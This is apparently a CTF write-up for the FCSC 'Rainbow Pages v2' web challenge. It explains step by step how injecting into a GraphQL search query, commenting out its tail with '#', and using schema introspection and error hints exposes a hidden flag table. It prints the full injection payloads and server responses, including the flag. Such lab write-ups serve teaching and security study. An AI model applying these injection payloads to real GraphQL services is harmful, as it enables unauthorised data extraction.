La première version de notre plateforme de recherche de cuisiniers présentait quelques problèmes de sécurité. Heureusement, notre développeur ne compte pas ses heures et a corrigé l’application en nous affirmant que plus rien n’était désormais exploitable. Il en a également profiter pour améliorer la recherche des chefs.

Here’s the original image:

Site

Analysis

For this challenge, we already have many information from the first challenge: Rainbow Pages. We know the website uses graphQL as database and we have an idea of the request that’s been sent.

Difference between the two chall

First of all, we can see the mention 100% secure and Version 2, so we can expect some difficulty to get the flag.

In the first version we sent the request encoded in base64:

input: a
Request: /index.php?search=eyBhbGxDb29rcyAoZmlsdGVyOiB7IGZpcnN0bmFtZToge2xpa2U6ICIlYSUifX0pIHsgbm9kZXMgeyBmaXJzdG5hbWUsIGxhc3RuYW1lLCBzcGVjaWFsaXR5LCBwcmljZSB9fX0=

The query was decoded as such:

{ allCooks (filter: { firstname: {like: "%a%"}}) { nodes { firstname, lastname, speciality, price }}}

In this version, we only send the search value:

input: a
Request: /index.php?search=YQ==

So we can imagine the final request is something like:

{ allCooks (filter: { firstname: {like: "%search_value%"}}) { nodes { firstname, lastname, speciality, price }}}

But there is a difference between the old and the new search, the old search engine works only looks for firstname but the new one looks for firstname and lastname.

So, the final request might be:

{ allCooks(filter: { or: [ { firstname: {like: "%search_value%"} }, { lastname: {like: "%search_value%" } } ] }) { nodes { firstname, lastname, speciality, price } } }

Vulnerability

The vulnerability is probably the same as in the first challenge. We are going to try to inject code in the input to see if it’s true:

Input: a"}
Request: /index.php?search=YSJ9

The server will craft the following query:

{ allCooks(filter: { or: [ { firstname: {like: "%a"}%"} }, { lastname: {like: "%search_value%" } } ] }) { nodes { firstname, lastname, speciality, price } } }

We have this response from the server:

{"errors":[{"message":"Syntax Error: Cannot parse the unexpected character \"%\".","locations":[{"line":1,"column":54}]}]}

With this request we can confirm that the vulnerability is the same as the first challenge.

Payload

To make this exploit, we have to control the request that’s been sent to the server. To do so, we can add the comment character to ignore the end of the request.

Send our end of request

When we google for the comment character in GraphQL we found: #, when we send a request with #, the error message is different:

{"errors":[{"message":"Syntax Error: Expected Name, found ","locations":[{"line":1,"column":104}]}]}

Now we have to make our own end of request as such:

"} } ] }) { nodes { firstname, lastname, speciality, price } } }#

We have the following response:

{"data":{"allCooks":{"nodes":[{"firstname":"Thibault","lastname":"Royer","speciality":"Raji Cuisine","price":12421},..]}}}

This end of request works perfectly! Now we can perform search queries in the database.

Find the other indexes

In GraphQL we have a method to find all the indexes present in the database: __schema{type(name)}

So, what’s happening if we add this method in our request?

impossibleName" }}]}) { nodes { firstname, lastname, speciality, price}} __schema{types{name}} }#

Here’s the response:

{"data":{"allCooks":{"nodes":[]},"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"Int"},{"name":"Cursor"},{"name":"CooksOrderBy"},{"name":"CookCondition"},{"name":"String"},{"name":"CookFilter"},{"name":"IntFilter"},{"name":"Boolean"},{"name":"StringFilter"},{"name":"CooksConnection"},{"name":"Cook"},{"name":"CooksEdge"},{"name":"PageInfo"},{"name":"FlagNotTheSameTableNamesOrderBy"},{"name":"FlagNotTheSameTableNameCondition"},{"name":"FlagNotTheSameTableNameFilter"},{"name":"FlagNotTheSameTableNamesConnection"},{"name":"FlagNotTheSameTableName"},{"name":"FlagNotTheSameTableNamesEdge"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}

Hmmmm, the name FlagNotTheSameTableName seems interesting. We are going to make a request for that name.

impossibleName" }}]}) { nodes { firstname, lastname, speciality, price}}  FlagNotTheSameTableName { nodes {FlagNotTheSameTableName} } }#

Response:

{"errors":[{"message":"Cannot query field \"FlagNotTheSameTableName\" on type \"Query\". Did you mean \"flagNotTheSameTableName\", \"allFlagNotTheSameTableNames\", or \"flagNotTheSameTableNameById\"?","locations":[{"line":1,"column":125}]}]}

Bingo, we have the index name: allFlagNotTheSameTableNames, we’re going to try to find the correct node for the request:

impossibleName" }}]}) { nodes { firstname, lastname, speciality, price}}  allFlagNotTheSameTableNames { nodes {flagNotTheSameTableName} } }#

Response:

{"errors":[{"message":"Cannot query field \"flagNotTheSameTableName\" on type \"FlagNotTheSameTableName\". Did you mean \"flagNotTheSameFieldName\"?","locations":[{"line":1,"column":162}]}]}

The node is: flagNotTheSameFieldName.

The final payload looks like this:

impossibleName" }}]}) { nodes { firstname, lastname, speciality, price}}  allFlagNotTheSameTableNames { nodes {flagNotTheSameFieldName} } }#

Response:

{"data":{"allCooks":{"nodes":[]},"allFlagNotTheSameTableNames":{"nodes":[{"flagNotTheSameFieldName":"FCSC{70c48061ea21935f748b11188518b3322fcd8285b47059fa99df37f27430b071}"}]}}}

And we got the flag: FCSC{70c48061ea21935f748b11188518b3322fcd8285b47059fa99df37f27430b071}

I hope you learn something with this write-up, it was a good challenge with a technology that I didn’t know before.

Thanks FCSC team, this was an awesome CTF, I’ve learned a lot and had a lot of fun. Congratulation for the organization, see you next year!